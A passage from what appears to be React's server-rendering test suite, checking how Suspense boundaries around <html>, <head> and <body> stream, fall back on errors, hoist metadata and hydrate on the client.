<head>\n            <Suspense fallback={<meta itemProp=\"head loading\" />}>\n              <BlockedOn value=\"head\">\n                <meta itemProp=\"\" content=\"head\" />\n              </BlockedOn>\n            </Suspense>\n          </head>\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>\n      );\n    }\n\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />);\n      pipe(writable);\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta itemprop=\"head loading\" />\n        </head>\n        <body>\n          <div>hello world</div>\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('head');\n    });\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta itemprop=\"\" content=\"head\" />\n        </head>\n        <body>\n          <div>hello world</div>\n        </body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta itemprop=\"\" content=\"head\" />\n        </head>\n        <body>\n          <div>hello world</div>\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      root.unmount();\n    });\n    await waitForAll([]);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('can render Suspense before, after, and around <html>', async () => {\n    function BlockedOn({value, children}) {\n      readText(value);\n      return children;\n    }\n\n    function App() {\n      return (\n        <>\n          <Suspense fallback=\"this fallback never renders\">\n            <div>before</div>\n          </Suspense>\n          <Suspense fallback=\"this fallback never renders\">\n            <BlockedOn value=\"html\">\n              <html lang=\"en\">\n                <head>\n                  <meta itemProp=\"\" content=\"non-floaty meta\" />\n                </head>\n                <body>\n                  <div>hello world</div>\n                </body>\n              </html>\n            </BlockedOn>\n          </Suspense>\n          <Suspense fallback=\"this fallback never renders\">\n            <div>after</div>\n          </Suspense>\n        </>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady: () => {\n          shellReady = true;\n        },\n      });\n      pipe(writable);\n    });\n\n    // When we Suspend above the body we block the shell because the root HTML scope\n    // is considered \"reconciliation\" mode whereby we should stay on the prior view\n    // (the prior page for instance) rather than showing the fallback (semantically)\n    expect(shellReady).toBe(true);\n    expect(content).toBe('');\n\n    await act(() => {\n      resolveText('html');\n    });\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n    expect(getVisibleChildren(document)).toEqual(\n      <html lang=\"en\">\n        <head>\n          <meta itemprop=\"\" content=\"non-floaty meta\" />\n        </head>\n        <body>\n          <div>before</div>\n          <div>hello world</div>\n          <div>after</div>\n        </body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html lang=\"en\">\n        <head>\n          <meta itemprop=\"\" content=\"non-floaty meta\" />\n        </head>\n        <body>\n          <div>before</div>\n          <div>hello world</div>\n          <div>after</div>\n        </body>\n      </html>,\n    );\n\n    root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('can render Suspense before, after, and around <body>', async () => {\n    function BlockedOn({value, children}) {\n      readText(value);\n      return children;\n    }\n\n    function App() {\n      return (\n        <html>\n          <Suspense fallback=\"this fallback never renders\">\n            <meta content=\"before\" />\n            <meta itemProp=\"\" content=\"before\" />\n          </Suspense>\n          <Suspense fallback=\"this fallback never renders\">\n            <BlockedOn value=\"body\">\n              <body lang=\"en\">\n                <div>hello world</div>\n              </body>\n            </BlockedOn>\n          </Suspense>\n          <Suspense fallback=\"this fallback never renders\">\n            <meta content=\"after\" />\n            <meta itemProp=\"\" content=\"after\" />\n          </Suspense>\n        </html>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toBe('');\n\n    await act(() => {\n      resolveText('body');\n    });\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta content=\"before\" />\n          <meta content=\"after\" />\n        </head>\n        <body lang=\"en\">\n          <meta itemprop=\"\" content=\"before\" />\n          <div>hello world</div>\n          <meta itemprop=\"\" content=\"after\" />\n        </body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta content=\"before\" />\n          <meta content=\"after\" />\n        </head>\n        <body lang=\"en\">\n          <meta itemprop=\"\" content=\"before\" />\n          <div>hello world</div>\n          <meta itemprop=\"\" content=\"after\" />\n        </body>\n      </html>,\n    );\n    assertConsoleErrorDev([\n      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <meta> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',\n      'In HTML, <meta> cannot be a child of <html>.\\nThis will cause a hydration error.' +\n        '\\n' +\n        '\\n  <App>' +\n        '\\n>   <html>' +\n        '\\n      <Suspense fallback=\"this fallb...\">' +\n        '\\n        <meta>' +\n        '\\n>       <meta itemProp=\"\" content=\"before\">' +\n        '\\n      ...' +\n        '\\n' +\n        '\\n    in meta (at **)' +\n        '\\n    in App (at **)',\n      '<html> cannot contain a nested <meta>.\\nSee this log for the ancestor stack trace.' +\n        '\\n    in html (at **)' +\n        '\\n    in App (at **)',\n      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <meta> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',\n    ]);\n\n    await root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('can render Suspense before, after, and around <head>', async () => {\n    function BlockedOn({value, children}) {\n      readText(value);\n      return children;\n    }\n\n    function App() {\n      return (\n        <html>\n          <Suspense fallback=\"this fallback never renders\">\n            <meta content=\"before\" />\n            <meta itemProp=\"\" content=\"before\" />\n          </Suspense>\n          <Suspense fallback=\"this fallback never renders\">\n            <BlockedOn value=\"head\">\n              <head lang=\"en\">\n                <meta itemProp=\"\" />\n              </head>\n            </BlockedOn>\n          </Suspense>\n          <Suspense fallback=\"this fallback never renders\">\n            <meta content=\"after\" />\n            <meta itemProp=\"\" content=\"after\" />\n          </Suspense>\n          <body>\n            <div>hello world</div>\n          </body>\n        </html>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toBe('');\n\n    await act(() => {\n      resolveText('head');\n    });\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head lang=\"en\">\n          <meta content=\"before\" />\n          <meta content=\"after\" />\n          <meta itemprop=\"\" />\n        </head>\n        <body>\n          <meta itemprop=\"\" content=\"before\" />\n          <meta itemprop=\"\" content=\"after\" />\n          <div>hello world</div>\n        </body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head lang=\"en\">\n          <meta content=\"before\" />\n          <meta content=\"after\" />\n          <meta itemprop=\"\" />\n        </head>\n        <body>\n          <meta itemprop=\"\" content=\"before\" />\n          <meta itemprop=\"\" content=\"after\" />\n          <div>hello world</div>\n        </body>\n      </html>,\n    );\n    assertConsoleErrorDev([\n      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <meta> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',\n      'In HTML, <meta> cannot be a child of <html>.\\nThis will cause a hydration error.' +\n        '\\n' +\n        '\\n  <App>' +\n        '\\n>   <html>' +\n        '\\n      <Suspense fallback=\"this fallb...\">' +\n        '\\n        <meta>' +\n        '\\n>       <meta itemProp=\"\" content=\"before\">' +\n        '\\n      ...' +\n        '\\n' +\n        '\\n    in meta (at **)' +\n        '\\n    in App (at **)',\n      '<html> cannot contain a nested <meta>.\\nSee this log for the ancestor stack trace.' +\n        '\\n    in html (at **)' +\n        '\\n    in App (at **)',\n      'Cannot render a <meta> outside the main document if it has an `itemProp` prop. `itemProp` suggests the tag belongs to an `itemScope` which can appear anywhere in the DOM. If you were intending for React to hoist this <meta> remove the `itemProp` prop. Otherwise, try moving this tag into the <head> or <body> of the Document.',\n    ]);\n\n    await root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('will render fallback Document when erroring a boundary above the body and recover on the client', async () => {\n    let serverRendering = true;\n    function Boom() {\n      if (serverRendering) {\n        throw new Error('Boom!');\n      }\n      return null;\n    }\n\n    function App() {\n      return (\n        <Suspense\n          fallback={\n            <html data-error-html=\"\">\n              <body data-error-body=\"\">\n                <span>hello error</span>\n              </body>\n            </html>\n          }>\n          <html data-content-html=\"\">\n            <body data-content-body=\"\">\n              <Boom />\n              <span>hello world</span>\n            </body>\n          </html>\n        </Suspense>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    const errors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n        onError(e) {\n          errors.push(e);\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n    expect(errors).toEqual([new Error('Boom!')]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-error-html=\"\">\n        <head />\n        <body data-error-body=\"\">\n          <span>hello error</span>\n        </body>\n      </html>,\n    );\n\n    serverRendering = false;\n\n    const recoverableErrors = [];\n    const root = ReactDOMClient.hydrateRoot(document, <App />, {\n      onRecoverableError(err) {\n        recoverableErrors.push(err);\n      },\n    });\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-content-html=\"\">\n        <head />\n        <body data-content-body=\"\">\n          <span>hello world</span>\n        </body>\n      </html>,\n    );\n    expect(recoverableErrors).toEqual([\n      __DEV__\n        ? new Error(\n            'Switched to client rendering because the server rendering errored:\\n\\nBoom!',\n          )\n        : new Error(\n            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          ),\n    ]);\n\n    root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('will hoist resources and hositables from a primary tree into the <head> of a client rendered fallback', async () => {\n    let serverRendering = true;\n    function Boom() {\n      if (serverRendering) {\n        throw new Error('Boom!');\n      }\n      return null;\n    }\n\n    function App() {\n      return (\n        <>\n          <meta content=\"hoistable before\" />\n          <link rel=\"stylesheet\" href=\"hoistable before\" precedence=\"default\" />\n          <Suspense\n            fallback={\n              <html data-error-html=\"\">\n                <head data-error-head=\"\">\n                  {/* we have to make this a non-hoistable because we don't current emit\n                      hoistables inside fallbacks because we have no way to clean them up\n                      on hydration */}\n                  <meta itemProp=\"\" content=\"error document\" />\n                </head>\n                <body data-error-body=\"\">\n                  <span>hello error</span>\n                </body>\n              </html>\n            }>\n            <html data-content-html=\"\">\n              <body data-content-body=\"\">\n                <Boom />\n                <span>hello world</span>\n              </body>\n            </html>\n          </Suspense>\n          <meta content=\"hoistable after\" />\n          <link rel=\"stylesheet\" href=\"hoistable after\" precedence=\"default\" />\n        </>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    const errors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n        onError(e) {\n          errors.push(e);\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n    expect(errors).toEqual([new Error('Boom!')]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-error-html=\"\">\n        <head data-error-head=\"\">\n          <link\n            rel=\"stylesheet\"\n            href=\"hoistable before\"\n            data-precedence=\"default\"\n          />\n          <link\n            rel=\"stylesheet\"\n            href=\"hoistable after\"\n            data-precedence=\"default\"\n          />\n          <meta content=\"hoistable before\" />\n          <meta content=\"hoistable after\" />\n          <meta itemprop=\"\" content=\"error document\" />\n        </head>\n        <body data-error-body=\"\">\n          <span>hello error</span>\n        </body>\n      </html>,\n    );\n\n    serverRendering = false;\n\n    const recoverableErrors = [];\n    const root = ReactDOMClient.hydrateRoot(document, <App />, {\n      onRecoverableError(err) {\n        recoverableErrors.push(err);\n      },\n    });\n    await waitForAll([]);\n    expect(recoverableErrors).toEqual([\n      __DEV__\n        ? new Error(\n            'Switched to client rendering because the server rendering errored:\\n\\nBoom!',\n          )\n        : new Error(\n            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          ),\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-content-html=\"\">\n        <head>\n          <link\n            rel=\"stylesheet\"\n            href=\"hoistable before\"\n            data-precedence=\"default\"\n          />\n          <link\n            rel=\"stylesheet\"\n            href=\"hoistable after\"\n            data-precedence=\"default\"\n          />\n          <meta content=\"hoistable before\" />\n          <meta content=\"hoistable after\" />\n        </head>\n        <body data-content-body=\"\">\n          <span>hello world</span>\n        </body>\n      </html>,\n    );\n\n    root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <link\n            rel=\"stylesheet\"\n            href=\"hoistable before\"\n            data-precedence=\"default\"\n          />\n          <link\n            rel=\"stylesheet\"\n            href=\"hoistable after\"\n            data-precedence=\"default\"\n          />\n        </head>\n        <body />\n      </html>,\n    );\n  });\n\n  it('will attempt to render the preamble inline to allow rendering before a later abort in the same task', async () => {\n    const promise = new Promise(() => {});\n    function Pending() {\n      React.use(promise);\n    }\n\n    const controller = new AbortController();\n    function Abort() {\n      controller.abort();\n      return <Comp />;\n    }\n\n    function Comp() {\n      return null;\n    }\n\n    function App() {\n      return (\n        <html>\n          <head>\n            <meta content=\"here\" />\n          </head>\n          <body>\n            <main>hello</main>\n            <Suspense>\n              <Pending />\n            </Suspense>\n            <Abort />\n          </body>\n        </html>\n      );\n    }\n\n    const signal = controller.signal;\n\n    let thrownError = null;\n    const errors = [];\n    try {\n      await act(() => {\n        const {pipe, abort} = renderToPipeableStream(<App />, {\n          onError(e, ei) {\n            errors.push({\n              error: e,\n              componentStack: normalizeCodeLocInfo(ei.componentStack),\n            });\n          },\n        });\n        signal.addEventListener('abort', () => abort('boom'));\n        pipe(writable);\n      });\n    } catch (e) {\n      thrownError = e;\n    }\n\n    expect(thrownError).toBe('boom');\n    // TODO there should actually be three errors. One for the pending Suspense, one for the fallback task, and one for the task\n    // that does the abort itself. At the moment abort will flush queues and if there is no pending tasks will close the request before\n    // the task which initiated the abort can even be processed. This is a bug but not one that I am fixing with the current change\n    // so I am asserting the current behavior\n    expect(errors).toEqual([\n      {\n        error: 'boom',\n        componentStack: componentStack([\n          'Pending',\n          'Suspense',\n          'body',\n          'html',\n          'App',\n        ]),\n      },\n      {\n        error: 'boom',\n        componentStack: componentStack([\n          'Suspense Fallback',\n          'body',\n          'html',\n          'App',\n        ]),\n        // }, {\n        //   error: 'boom',\n        //   componentStack: componentStack(['Abort', 'body', 'html', 'App'])\n      },\n    ]);\n\n    // We expect the render to throw before streaming anything so the default\n    // document is still loaded\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div id=\"container\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('Will wait to flush Document chunks until all boundaries which might contain a preamble are errored or resolved', async () => {\n    let rejectFirst;\n    const firstPromise = new Promise((_, reject) => {\n      rejectFirst = reject;\n    });\n    function First({children}) {\n      use(firstPromise);\n      return children;\n    }\n\n    let resolveSecond;\n    const secondPromise = new Promise(resolve => {\n      resolveSecond = resolve;\n    });\n    function Second({children}) {\n      use(secondPromise);\n      return children;\n    }\n\n    const hangingPromise = new Promise(() => {});\n    function Hanging({children}) {\n      use(hangingPromise);\n      return children;\n    }\n\n    function App() {\n      return (\n        <>\n          <Suspense fallback={<span>loading...</span>}>\n            <Suspense fallback={<span>inner loading...</span>}>\n              <First>\n                <span>first</span>\n              </First>\n            </Suspense>\n          </Suspense>\n          <Suspense fallback={<span>loading...</span>}>\n            <main>\n              <Second>\n                <span>second</span>\n              </Second>\n            </main>\n          </Suspense>\n          <div>\n            <Suspense fallback={<span>loading...</span>}>\n              <Hanging>\n                <span>third</span>\n              </Hanging>\n            </Suspense>\n          </div>\n        </>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    const errors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n        onError(e) {\n          errors.push(e);\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toBe('');\n\n    await act(() => {\n      resolveSecond();\n    });\n    expect(content).toBe('');\n\n    await act(() => {\n      rejectFirst('Boom!');\n    });\n    expect(content.length).toBeGreaterThan(0);\n    expect(errors).toEqual(['Boom!']);\n\n    expect(getVisibleChildren(container)).toEqual([\n      <span>inner loading...</span>,\n      <main>\n        <span>second</span>\n      </main>,\n      <div>\n        <span>loading...</span>\n      </div>,\n    ]);\n  });\n\n  it('Can render a fallback <head> alongside a non-fallback body', async () => {\n    let serverRendering = true;\n    function Boom() {\n      if (serverRendering) {\n        throw new Error('Boom!');\n      }\n      return null;\n    }\n\n    function App() {\n      return (\n        <html>\n          <Suspense\n            fallback={\n              <head data-fallback=\"\">\n                <meta itemProp=\"\" content=\"fallback\" />\n              </head>\n            }>\n            <Boom />\n            <head data-primary=\"\">\n              <meta itemProp=\"\" content=\"primary\" />\n            </head>\n          </Suspense>\n          <Suspense\n            fallback={\n              <body data-fallback=\"\">\n                <div>fallback body</div>\n              </body>\n            }>\n            <body data-primary=\"\">\n              <div>primary body</div>\n            </body>\n          </Suspense>\n        </html>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    const errors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n        onError(e) {\n          errors.push(e);\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n    expect(errors).toEqual([new Error('Boom!')]);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head data-fallback=\"\">\n          <meta itemprop=\"\" content=\"fallback\" />\n        </head>\n        <body data-primary=\"\">\n          <div>primary body</div>\n        </body>\n      </html>,\n    );\n\n    serverRendering = false;\n\n    const recoverableErrors = [];\n    const root = ReactDOMClient.hydrateRoot(document, <App />, {\n      onRecoverableError(err) {\n        recoverableErrors.push(err);\n      },\n    });\n    await waitForAll([]);\n    expect(recoverableErrors).toEqual([\n      __DEV__\n        ? new Error(\n            'Switched to client rendering because the server rendering errored:\\n\\nBoom!',\n          )\n        : new Error(\n            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          ),\n    ]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head data-primary=\"\">\n          <meta itemprop=\"\" content=\"primary\" />\n        </head>\n        <body data-primary=\"\">\n          <div>primary body</div>\n        </body>\n      </html>,\n    );\n\n    root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('Can render a fallback <body> alongside a non-fallback head', async () => {\n    let serverRendering = true;\n    function Boom() {\n      if (serverRendering) {\n        throw new Error('Boom!');\n      }\n      return null;\n    }\n\n    function App() {\n      return (\n        <html>\n          <Suspense\n            fallback={\n              <head data-fallback=\"\">\n                <meta itemProp=\"\" content=\"fallback\" />\n              </head>\n            }>\n            <head data-primary=\"\">\n              <meta itemProp=\"\" content=\"primary\" />\n            </head>\n          </Suspense>\n          <Suspense\n            fallback={\n              <body data-fallback=\"\">\n                <div>fallback body</div>\n              </body>\n            }>\n            <Boom />\n            <body data-primary=\"\">\n              <div>primary body</div>\n            </body>\n          </Suspense>\n        </html>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    const errors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n        onError(e) {\n          errors.push(e);\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n    expect(errors).toEqual([new Error('Boom!')]);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head data-primary=\"\">\n          <meta itemprop=\"\" content=\"primary\" />\n        </head>\n        <body data-fallback=\"\">\n          <div>fallback body</div>\n        </body>\n      </html>,\n    );\n\n    serverRendering = false;\n\n    const recoverableErrors = [];\n    const root = ReactDOMClient.hydrateRoot(document, <App />, {\n      onRecoverableError(err) {\n        recoverableErrors.push(err);\n      },\n    });\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head data-primary=\"\">\n          <meta itemprop=\"\" content=\"primary\" />\n        </head>\n        <body data-primary=\"\">\n          <div>primary body</div>\n        </body>\n      </html>,\n    );\n    expect(recoverableErrors).toEqual([\n      __DEV__\n        ? new Error(\n            'Switched to client rendering because the server rendering errored:\\n\\nBoom!',\n          )\n        : new Error(\n            'The server could not finish this Suspense boundary, likely due to an error during server rendering. Switched to client rendering.',\n          ),\n    ]);\n\n    root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('Can render a <head> outside of a containing <html>', async () => {\n    function App() {\n      return (\n        <>\n          <Suspense>\n            <html data-x=\"\">\n              <body data-x=\"\">\n                <span>hello world</span>\n              </body>\n            </html>\n          </Suspense>\n          <head data-y=\"\">\n            <meta itemProp=\"\" />\n          </head>\n        </>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-x=\"\">\n        <head data-y=\"\">\n          <meta itemprop=\"\" />\n        </head>\n        <body data-x=\"\">\n          <span>hello world</span>\n        </body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html data-x=\"\">\n        <head data-y=\"\">\n          <meta itemprop=\"\" />\n        </head>\n        <body data-x=\"\">\n          <span>hello world</span>\n        </body>\n      </html>,\n    );\n\n    root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('can render preamble tags in deeply nested indirect component trees', async () => {\n    function App() {\n      return (\n        <Html>\n          <DocumentMetadata />\n          <Main />\n        </Html>\n      );\n    }\n\n    let loadLanguage;\n    const langPromise = new Promise(r => {\n      loadLanguage = r;\n    });\n    function Html({children}) {\n      return (\n        <Suspense fallback={<FallbackHtml>{children}</FallbackHtml>}>\n          <MainHtml>{children}</MainHtml>\n        </Suspense>\n      );\n    }\n    function FallbackHtml({children}) {\n      return <html lang=\"default\">{children}</html>;\n    }\n    function MainHtml({children}) {\n      const lang = use(langPromise);\n      return <html lang={lang}>{children}</html>;\n    }\n\n    let loadMetadata;\n    const metadataPromise = new Promise(r => {\n      loadMetadata = r;\n    });\n    function DocumentMetadata() {\n      return (\n        <Suspense fallback={<FallbackDocumentMetadata />}>\n          <MainDocumentMetadata />\n        </Suspense>\n      );\n    }\n    function FallbackDocumentMetadata() {\n      return (\n        <head data-fallback=\"\">\n          <meta content=\"fallback metadata\" />\n        </head>\n      );\n    }\n    function MainDocumentMetadata() {\n      const metadata = use(metadataPromise);\n      return (\n        <head data-main=\"\">\n          {metadata.map(m => (\n            <meta content={m} key={m} />\n          ))}\n        </head>\n      );\n    }\n\n    let loadMainContent;\n    const mainContentPromise = new Promise(r => {\n      loadMainContent = r;\n    });\n    function Main() {\n      return (\n        <Suspense fallback={<Skeleton />}>\n          <PrimaryContent />\n        </Suspense>\n      );\n    }\n    function Skeleton() {\n      return (\n        <body data-fallback=\"\">\n          <div>Skeleton UI</div>\n        </body>\n      );\n    }\n    function PrimaryContent() {\n      const content = use(mainContentPromise);\n      return (\n        <body data-main=\"\">\n          <div>{content}</div>\n        </body>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    const errors = [];\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n        onError(e) {\n          errors.push(e);\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toBe('');\n\n    await act(() => {\n      loadLanguage('es');\n    });\n    expect(content).toBe('');\n\n    await act(() => {\n      loadMainContent('This is soooo cool!');\n    });\n    expect(content).toBe('');\n\n    await act(() => {\n      loadMetadata(['author', 'published date']);\n    });\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html lang=\"es\">\n        <head data-main=\"\">\n          <meta content=\"author\" />\n          <meta content=\"published date\" />\n        </head>\n        <body data-main=\"\">\n          <div>This is soooo cool!</div>\n        </body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html lang=\"es\">\n        <head data-main=\"\">\n          <meta content=\"author\" />\n          <meta content=\"published date\" />\n        </head>\n        <body data-main=\"\">\n          <div>This is soooo cool!</div>\n        </body>\n      </html>,\n    );\n\n    root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('will flush the preamble as soon as a complete preamble is available', async () => {\n    function BlockedOn({value, children}) {\n      readText(value);\n      return children;\n    }\n\n    function App() {\n      return (\n        <>\n          <Suspense fallback=\"loading before...\">\n            <div>\n              <AsyncText text=\"before\" />\n            </div>\n          </Suspense>\n          <Suspense fallback=\"loading document...\">\n            <html>\n              <body>\n                <div>\n                  <AsyncText text=\"body\" />\n                </div>\n              </body>\n            </html>\n          </Suspense>\n          <Suspense fallback=\"loading head...\">\n            <head>\n              <BlockedOn value=\"head\">\n                <meta content=\"head\" />\n              </BlockedOn>\n            </head>\n          </Suspense>\n          <Suspense fallback=\"loading after...\">\n            <div>\n              <AsyncText text=\"after\" />\n            </div>\n          </Suspense>\n        </>\n      );\n    }\n\n    let content = '';\n    writable.on('data', chunk => (content += chunk));\n\n    let shellReady = false;\n    await act(() => {\n      const {pipe} = renderToPipeableStream(<App />, {\n        onShellReady() {\n          shellReady = true;\n        },\n      });\n      pipe(writable);\n    });\n\n    expect(shellReady).toBe(true);\n    expect(content).toBe('');\n\n    await act(() => {\n      resolveText('body');\n    });\n    expect(content).toBe('');\n\n    await act(() => {\n      resolveText('head');\n    });\n    expect(content).toMatch(/^<!DOCTYPE html>/);\n\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta content=\"head\" />\n        </head>\n        <body>\n          loading before...\n          <div>body</div>\n          loading after...\n        </body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta content=\"head\" />\n        </head>\n        <body>\n          loading before...\n          <div>body</div>\n          loading after...\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('before');\n      resolveText('after');\n    });\n    await waitForAll([]);\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head>\n          <meta content=\"head\" />\n        </head>\n        <body>\n          <div>before</div>\n          <div>body</div>\n          <div>after</div>\n        </body>\n      </html>,\n    );\n\n    root.unmount();\n    expect(getVisibleChildren(document)).toEqual(\n      <html>\n        <head />\n        <body />\n      </html>,\n    );\n  });\n\n  it('will clean up the head when a hydration mismatch causes a boundary to recover on the client', async () => {\n    let content = 'server';\n\n    function ServerApp() {\n      return (\n        <Suspense>\n          <html data-x={content}>\n            <head data-x={content}>\n              <meta itemProp=\"\" content={content} />\n            </head>\n            <body data-x={content}>{content}</body>\n          </html>\n        </Suspense>\n      );\n    }\n\n    function ClientApp() {\n      return (\n        <Suspense>\n          <html data-y={content}>\n            <head data-y={content}>\n              <meta itemProp=\"\" name={content} />\n            </head>\n            <body data-y={content}>{content}</body>\n          </html>\n        </Suspense>\n      );\n    